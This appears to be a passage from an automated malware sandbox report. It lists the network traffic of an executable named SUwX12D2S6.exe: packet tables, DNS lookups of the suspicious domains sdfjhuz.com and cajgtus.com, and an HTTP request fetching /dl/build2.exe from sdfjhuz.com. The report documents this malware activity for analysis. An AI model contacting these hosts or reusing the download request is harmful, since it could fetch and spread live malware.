Apr 24, 2024 10:27:29.212727070 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.212748051 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.212764025 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.215533972 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.215550900 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.215605974 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.215615034 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.215720892 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.218209028 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.218224049 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.218261957 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.218270063 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.218297958 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.218307018 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.218981028 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.218996048 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.219043016 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.219050884 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.219784021 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.219810963 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.219851017 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.219858885 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.219871998 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.219901085 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.220607042 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.220622063 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.220666885 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.220674992 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.220695019 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.220717907 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.224421024 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.224440098 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.224493980 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.224502087 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.224528074 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.224546909 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.227508068 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.227523088 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.227566004 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.227572918 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.227596998 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.227616072 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.230437040 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.230453014 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.230496883 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.230504990 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.234649897 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.236788988 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.236804008 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.236860037 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.236867905 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.237843037 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.240768909 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.240783930 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.240818977 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.240827084 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.240849972 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.240869999 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.243438005 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.243454933 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.243508101 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.243515015 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.243541956 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.243554115 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.246402025 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.246418953 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.246469021 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.246476889 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.249533892 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.249556065 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.249588966 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.249596119 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.249607086 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.249636889 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.254345894 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.254359961 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.254405975 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.254414082 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.254440069 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.254463911 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.256566048 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.256582975 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.256633043 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.256639957 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.256664038 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.256684065 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.257517099 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.257564068 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.257569075 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.257610083 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.257652998 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.257930040 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.257944107 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.257953882 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.257986069 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.444230080 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.444278002 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.444350004 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.445333958 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.445346117 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:30.100755930 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:30.102353096 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:30.103132963 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:30.103147984 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:30.105212927 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:30.105222940 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:30.105252028 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:30.105276108 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:30.563080072 CEST	49751	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:30.563116074 CEST	443	49751	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:30.565155983 CEST	49751	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:30.565439939 CEST	49751	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:30.565454006 CEST	443	49751	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:31.111538887 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:31.111625910 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:31.111706972 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:31.131762028 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:31.131798983 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:31.222913027 CEST	443	49751	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:31.223908901 CEST	49751	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:31.955347061 CEST	49751	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:44.876681089 CEST	49752	443	192.168.2.4	104.21.65.24
Apr 24, 2024 10:27:44.876723051 CEST	443	49752	104.21.65.24	192.168.2.4
Apr 24, 2024 10:27:44.876800060 CEST	49752	443	192.168.2.4	104.21.65.24
Apr 24, 2024 10:27:45.001538038 CEST	49752	443	192.168.2.4	104.21.65.24
Apr 24, 2024 10:27:45.001562119 CEST	443	49752	104.21.65.24	192.168.2.4
Apr 24, 2024 10:27:45.340019941 CEST	443	49752	104.21.65.24	192.168.2.4
Apr 24, 2024 10:27:45.340120077 CEST	49752	443	192.168.2.4	104.21.65.24
Apr 24, 2024 10:27:45.347245932 CEST	49752	443	192.168.2.4	104.21.65.24
Apr 24, 2024 10:27:45.347274065 CEST	443	49752	104.21.65.24	192.168.2.4
Apr 24, 2024 10:27:45.347574949 CEST	443	49752	104.21.65.24	192.168.2.4
Apr 24, 2024 10:27:45.347630978 CEST	49752	443	192.168.2.4	104.21.65.24
Apr 24, 2024 10:27:45.349114895 CEST	49752	443	192.168.2.4	104.21.65.24
Apr 24, 2024 10:27:45.392159939 CEST	443	49752	104.21.65.24	192.168.2.4
Apr 24, 2024 10:27:46.126013994 CEST	443	49752	104.21.65.24	192.168.2.4
Apr 24, 2024 10:27:46.126123905 CEST	443	49752	104.21.65.24	192.168.2.4
Apr 24, 2024 10:27:46.126187086 CEST	49752	443	192.168.2.4	104.21.65.24
Apr 24, 2024 10:27:46.126496077 CEST	49752	443	192.168.2.4	104.21.65.24
Apr 24, 2024 10:27:46.126518011 CEST	443	49752	104.21.65.24	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 24, 2024 10:27:02.193694115 CEST	64492	53	192.168.2.4	1.1.1.1
Apr 24, 2024 10:27:02.366523027 CEST	53	64492	1.1.1.1	192.168.2.4
Apr 24, 2024 10:27:05.881952047 CEST	50071	53	192.168.2.4	1.1.1.1
Apr 24, 2024 10:27:05.883706093 CEST	58974	53	192.168.2.4	1.1.1.1
Apr 24, 2024 10:27:06.895103931 CEST	58974	53	192.168.2.4	1.1.1.1
Apr 24, 2024 10:27:06.895190954 CEST	50071	53	192.168.2.4	1.1.1.1
Apr 24, 2024 10:27:07.894933939 CEST	50071	53	192.168.2.4	1.1.1.1
Apr 24, 2024 10:27:07.894984961 CEST	58974	53	192.168.2.4	1.1.1.1
Apr 24, 2024 10:27:09.736532927 CEST	53	50071	1.1.1.1	192.168.2.4
Apr 24, 2024 10:27:09.736589909 CEST	53	50071	1.1.1.1	192.168.2.4
Apr 24, 2024 10:27:09.736628056 CEST	53	50071	1.1.1.1	192.168.2.4
Apr 24, 2024 10:27:09.910731077 CEST	58974	53	192.168.2.4	1.1.1.1
Apr 24, 2024 10:27:09.989691019 CEST	53	58974	1.1.1.1	192.168.2.4
Apr 24, 2024 10:27:09.989765882 CEST	53	58974	1.1.1.1	192.168.2.4
Apr 24, 2024 10:27:09.989803076 CEST	53	58974	1.1.1.1	192.168.2.4
Apr 24, 2024 10:27:10.064371109 CEST	53	58974	1.1.1.1	192.168.2.4
Apr 24, 2024 10:27:13.282732964 CEST	57561	53	192.168.2.4	1.1.1.1
Apr 24, 2024 10:27:13.437746048 CEST	53	57561	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 24, 2024 10:27:02.193694115 CEST	192.168.2.4	1.1.1.1	0xead3	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:05.881952047 CEST	192.168.2.4	1.1.1.1	0x6ebd	Standard query (0)	sdfjhuz.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:05.883706093 CEST	192.168.2.4	1.1.1.1	0xe760	Standard query (0)	cajgtus.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:06.895103931 CEST	192.168.2.4	1.1.1.1	0xe760	Standard query (0)	cajgtus.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:06.895190954 CEST	192.168.2.4	1.1.1.1	0x6ebd	Standard query (0)	sdfjhuz.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:07.894933939 CEST	192.168.2.4	1.1.1.1	0x6ebd	Standard query (0)	sdfjhuz.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:07.894984961 CEST	192.168.2.4	1.1.1.1	0xe760	Standard query (0)	cajgtus.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:09.910731077 CEST	192.168.2.4	1.1.1.1	0xe760	Standard query (0)	cajgtus.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:13.282732964 CEST	192.168.2.4	1.1.1.1	0x172d	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Apr 24, 2024 10:27:02.366523027 CEST	1.1.1.1	192.168.2.4	0xead3	No error (0)	api.2ip.ua	104.21.65.24	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:02.366523027 CEST	1.1.1.1	192.168.2.4	0xead3	No error (0)	api.2ip.ua	172.67.139.220	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:09.736532927 CEST	1.1.1.1	192.168.2.4	0x6ebd	No error (0)	sdfjhuz.com	175.119.10.231	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:09.736532927 CEST	1.1.1.1	192.168.2.4	0x6ebd	No error (0)	sdfjhuz.com	200.45.93.45	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:09.736532927 CEST	1.1.1.1	192.168.2.4	0x6ebd	No error (0)	sdfjhuz.com	190.220.21.28	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:09.736532927 CEST	1.1.1.1	192.168.2.4	0x6ebd	No error (0)	sdfjhuz.com	116.58.10.59	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:09.736532927 CEST	1.1.1.1	192.168.2.4	0x6ebd	No error (0)	sdfjhuz.com	186.10.34.17	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:09.736532927 CEST	1.1.1.1	192.168.2.4	0x6ebd	No error (0)	sdfjhuz.com	189.245.19.217	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:09.736532927 CEST	1.1.1.1	192.168.2.4	0x6ebd	No error (0)	sdfjhuz.com	148.230.249.9	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:09.736532927 CEST	1.1.1.1	192.168.2.4	0x6ebd	No error (0)	sdfjhuz.com	95.107.163.44	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:09.736532927 CEST	1.1.1.1	192.168.2.4	0x6ebd	No error (0)	sdfjhuz.com	220.125.3.190	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:09.736532927 CEST	1.1.1.1	192.168.2.4	0x6ebd	No error (0)	sdfjhuz.com	187.211.162.229	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:09.736589909 CEST	1.1.1.1	192.168.2.4	0x6ebd	No error (0)	sdfjhuz.com	175.119.10.231	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:09.736589909 CEST	1.1.1.1	192.168.2.4	0x6ebd	No error (0)	sdfjhuz.com	200.45.93.45	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:09.736589909 CEST	1.1.1.1	192.168.2.4	0x6ebd	No error (0)	sdfjhuz.com	190.220.21.28	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:09.736589909 CEST	1.1.1.1	192.168.2.4	0x6ebd	No error (0)	sdfjhuz.com	116.58.10.59	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:09.736589909 CEST	1.1.1.1	192.168.2.4	0x6ebd	No error (0)	sdfjhuz.com	186.10.34.17	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:09.736589909 CEST	1.1.1.1	192.168.2.4	0x6ebd	No error (0)	sdfjhuz.com	189.245.19.217	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:09.736589909 CEST	1.1.1.1	192.168.2.4	0x6ebd	No error (0)	sdfjhuz.com	148.230.249.9	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:09.736589909 CEST	1.1.1.1	192.168.2.4	0x6ebd	No error (0)	sdfjhuz.com	95.107.163.44	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:09.736589909 CEST	1.1.1.1	192.168.2.4	0x6ebd	No error (0)	sdfjhuz.com	220.125.3.190	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:09.736589909 CEST	1.1.1.1	192.168.2.4	0x6ebd	No error (0)	sdfjhuz.com	187.211.162.229	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:09.736628056 CEST	1.1.1.1	192.168.2.4	0x6ebd	No error (0)	sdfjhuz.com	175.119.10.231	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:09.736628056 CEST	1.1.1.1	192.168.2.4	0x6ebd	No error (0)	sdfjhuz.com	200.45.93.45	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:09.736628056 CEST	1.1.1.1	192.168.2.4	0x6ebd	No error (0)	sdfjhuz.com	190.220.21.28	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:09.736628056 CEST	1.1.1.1	192.168.2.4	0x6ebd	No error (0)	sdfjhuz.com	116.58.10.59	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:09.736628056 CEST	1.1.1.1	192.168.2.4	0x6ebd	No error (0)	sdfjhuz.com	186.10.34.17	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:09.736628056 CEST	1.1.1.1	192.168.2.4	0x6ebd	No error (0)	sdfjhuz.com	189.245.19.217	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:09.736628056 CEST	1.1.1.1	192.168.2.4	0x6ebd	No error (0)	sdfjhuz.com	148.230.249.9	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:09.736628056 CEST	1.1.1.1	192.168.2.4	0x6ebd	No error (0)	sdfjhuz.com	95.107.163.44	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:09.736628056 CEST	1.1.1.1	192.168.2.4	0x6ebd	No error (0)	sdfjhuz.com	220.125.3.190	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:09.736628056 CEST	1.1.1.1	192.168.2.4	0x6ebd	No error (0)	sdfjhuz.com	187.211.162.229	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:09.989691019 CEST	1.1.1.1	192.168.2.4	0xe760	No error (0)	cajgtus.com	189.232.19.193	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:09.989691019 CEST	1.1.1.1	192.168.2.4	0xe760	No error (0)	cajgtus.com	201.191.99.134	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:09.989691019 CEST	1.1.1.1	192.168.2.4	0xe760	No error (0)	cajgtus.com	187.211.162.229	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:09.989691019 CEST	1.1.1.1	192.168.2.4	0xe760	No error (0)	cajgtus.com	78.89.199.216	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:09.989691019 CEST	1.1.1.1	192.168.2.4	0xe760	No error (0)	cajgtus.com	102.189.46.136	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:09.989691019 CEST	1.1.1.1	192.168.2.4	0xe760	No error (0)	cajgtus.com	190.98.23.157	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:09.989691019 CEST	1.1.1.1	192.168.2.4	0xe760	No error (0)	cajgtus.com	151.233.51.166	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:09.989691019 CEST	1.1.1.1	192.168.2.4	0xe760	No error (0)	cajgtus.com	190.13.174.91	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:09.989691019 CEST	1.1.1.1	192.168.2.4	0xe760	No error (0)	cajgtus.com	210.182.29.70	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:09.989691019 CEST	1.1.1.1	192.168.2.4	0xe760	No error (0)	cajgtus.com	62.150.232.50	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:09.989765882 CEST	1.1.1.1	192.168.2.4	0xe760	No error (0)	cajgtus.com	189.232.19.193	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:09.989765882 CEST	1.1.1.1	192.168.2.4	0xe760	No error (0)	cajgtus.com	201.191.99.134	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:09.989765882 CEST	1.1.1.1	192.168.2.4	0xe760	No error (0)	cajgtus.com	187.211.162.229	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:09.989765882 CEST	1.1.1.1	192.168.2.4	0xe760	No error (0)	cajgtus.com	78.89.199.216	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:09.989765882 CEST	1.1.1.1	192.168.2.4	0xe760	No error (0)	cajgtus.com	102.189.46.136	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:09.989765882 CEST	1.1.1.1	192.168.2.4	0xe760	No error (0)	cajgtus.com	190.98.23.157	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:09.989765882 CEST	1.1.1.1	192.168.2.4	0xe760	No error (0)	cajgtus.com	151.233.51.166	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:09.989765882 CEST	1.1.1.1	192.168.2.4	0xe760	No error (0)	cajgtus.com	190.13.174.91	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:09.989765882 CEST	1.1.1.1	192.168.2.4	0xe760	No error (0)	cajgtus.com	210.182.29.70	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:09.989765882 CEST	1.1.1.1	192.168.2.4	0xe760	No error (0)	cajgtus.com	62.150.232.50	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:09.989803076 CEST	1.1.1.1	192.168.2.4	0xe760	No error (0)	cajgtus.com	189.232.19.193	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:09.989803076 CEST	1.1.1.1	192.168.2.4	0xe760	No error (0)	cajgtus.com	201.191.99.134	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:09.989803076 CEST	1.1.1.1	192.168.2.4	0xe760	No error (0)	cajgtus.com	187.211.162.229	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:09.989803076 CEST	1.1.1.1	192.168.2.4	0xe760	No error (0)	cajgtus.com	78.89.199.216	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:09.989803076 CEST	1.1.1.1	192.168.2.4	0xe760	No error (0)	cajgtus.com	102.189.46.136	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:09.989803076 CEST	1.1.1.1	192.168.2.4	0xe760	No error (0)	cajgtus.com	190.98.23.157	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:09.989803076 CEST	1.1.1.1	192.168.2.4	0xe760	No error (0)	cajgtus.com	151.233.51.166	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:09.989803076 CEST	1.1.1.1	192.168.2.4	0xe760	No error (0)	cajgtus.com	190.13.174.91	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:09.989803076 CEST	1.1.1.1	192.168.2.4	0xe760	No error (0)	cajgtus.com	210.182.29.70	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:09.989803076 CEST	1.1.1.1	192.168.2.4	0xe760	No error (0)	cajgtus.com	62.150.232.50	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:10.064371109 CEST	1.1.1.1	192.168.2.4	0xe760	No error (0)	cajgtus.com	189.232.19.193	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:10.064371109 CEST	1.1.1.1	192.168.2.4	0xe760	No error (0)	cajgtus.com	201.191.99.134	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:10.064371109 CEST	1.1.1.1	192.168.2.4	0xe760	No error (0)	cajgtus.com	187.211.162.229	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:10.064371109 CEST	1.1.1.1	192.168.2.4	0xe760	No error (0)	cajgtus.com	78.89.199.216	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:10.064371109 CEST	1.1.1.1	192.168.2.4	0xe760	No error (0)	cajgtus.com	62.150.232.50	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:10.064371109 CEST	1.1.1.1	192.168.2.4	0xe760	No error (0)	cajgtus.com	210.182.29.70	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:10.064371109 CEST	1.1.1.1	192.168.2.4	0xe760	No error (0)	cajgtus.com	151.233.51.166	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:10.064371109 CEST	1.1.1.1	192.168.2.4	0xe760	No error (0)	cajgtus.com	190.13.174.91	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:10.064371109 CEST	1.1.1.1	192.168.2.4	0xe760	No error (0)	cajgtus.com	190.98.23.157	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:10.064371109 CEST	1.1.1.1	192.168.2.4	0xe760	No error (0)	cajgtus.com	102.189.46.136	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:27:13.437746048 CEST	1.1.1.1	192.168.2.4	0x172d	No error (0)	steamcommunity.com	23.66.133.162	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.2ip.ua

steamcommunity.com

95.217.9.149

sdfjhuz.com

cajgtus.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49733	175.119.10.231	80	7396	C:\Users\user\Desktop\SUwX12D2S6.exe

Timestamp	Bytes transferred	Direction	Data
Apr 24, 2024 10:27:10.047616959 CEST	91	OUT	GET /dl/build2.exe HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: sdfjhuz.com
